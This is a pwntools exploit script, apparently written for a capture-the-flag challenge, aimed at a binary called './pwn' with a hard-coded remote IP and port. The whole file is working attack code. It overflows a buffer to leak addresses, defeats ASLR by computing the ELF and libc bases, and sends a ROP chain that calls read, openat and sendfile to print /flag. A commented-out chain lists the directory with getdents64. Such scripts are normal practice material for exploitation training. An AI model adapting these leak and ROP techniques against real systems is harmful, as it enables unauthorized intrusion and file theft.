1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
|
import argparse
from operator import pos
import sys
from elftools.construct import lib
from pwn import *
parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()
filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "23356"
context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
context.terminal = ["tmux", "splitw", "-h"]
def VIO_TEXT(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"
def CLEAR_TEXT(x, code=32):
return f"\x1b[{code}m{x}\x1b[0m"
io = None
if args.mode == 0:
io = process(filename)
print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
io = process(filename)
gdb.attach(io, gdbscript='''
b *read
c
c
''')
elif args.mode == 2:
io = remote(remote_addr, remote_port)
else:
sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)
se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
def uu64(data):
return u64(data.ljust(8, b"\x00"))
def get_64():
return u64(io.recv(0x6).ljust(0x8, b"\x00"))
# pause()
# ru(b"Good luck!\n")
sa(b"Good luck!\n", b'\x01'*0x108+p8(0x5f)) # magic
magic_line = ru(b":",)
magic_number = int(rl(keepends=False), 10)
log.info(VIO_TEXT(f"magic_number is {hex(magic_number)}"))
possible_main1 = magic_number // 3
possible_main2 = magic_number // 4
if possible_main1 < 0x600000000000 and possible_main1 > 0x500000000000:
main = possible_main1
else:
main = possible_main2
log.info(VIO_TEXT(f"possible main:{hex(possible_main1)}"))
log.info(VIO_TEXT(f"possible main:{hex(possible_main2)}"))
cover_main = main & 0xffff
elf_base = int(main)-0x16b0
log.info(VIO_TEXT(f"two bytes of main:{hex(cover_main)}"))
ret_stdout = elf_base+0x12c9
syscall = elf_base+0x134f
read_addr = elf_base+0x161f
rand_addr = elf_base+elf.sym['rand']
puts_addr = elf_base+elf.sym['puts']
log.info(VIO_TEXT(f"elf_base:{hex(elf_base)}"))
log.info(VIO_TEXT(f"syscall:{hex(syscall)}"))
sa(b"Good luck!\n", b'\x01'*0x108 + p64(rand_addr) + p64(puts_addr) + p64(read_addr))
libc_addr = (get_64()-0x21a200) & ~ 0xff
print(hex(libc_addr))
real_syscall = libc_addr+0x91316
rax = libc_addr+libc.search(asm("pop rax;ret")).__next__()
rdi = libc_addr+libc.search(asm("pop rdi;ret")).__next__()
rsi = libc_addr+libc.search(asm("pop rsi;ret")).__next__()
rcx = libc_addr+libc.search(asm("pop rcx;ret")).__next__()
rdx_rbx = libc_addr+0x904a9
readable_addr = elf_base+0x4800
log.info(VIO_TEXT(f"syscall:{hex(real_syscall)}"))
log.info(VIO_TEXT(f"readable_addr:{hex(readable_addr)}"))
payload = flat(
b'a'*0x110,
rax, 0, rdi, 0, rsi, readable_addr, rdx_rbx, 0x8, 0, syscall, 0, # read
rax, 0x101, rdi, 0xffffff9c, rsi, readable_addr, rdx_rbx, 0, 0, rcx, 0, syscall, 0, # openat
rax, 0x28, rdi, 1, rsi, 3, rdx_rbx, 0, 0, rcx, 0x100, libc_addr + # sendfile
libc.sym['sendfile'],
)
# ogw 尝试读取目录
# payload = flat(
# b'a'*0x110,
# rax, 0, rdi, 0, rsi, readable_addr, rdx_rbx, 0x30, 0, syscall, 0,
# rax, 0x101, rdi, 0xffffff9c, rsi, readable_addr, rdx_rbx, 0, 0, rcx, 0, syscall, 0,
# rax, 217, rdi, 0x3, rsi, readable_addr, rdx_rbx, 0x100, 0, syscall, 0, # getdents64
# rax, 1, rdi, 1, rsi, readable_addr, rdx_rbx, 0x100, 0, syscall, 0
# )
sa(b"Good luck!\n", payload)
sleep(1)
se(b"/flag")
ia()
|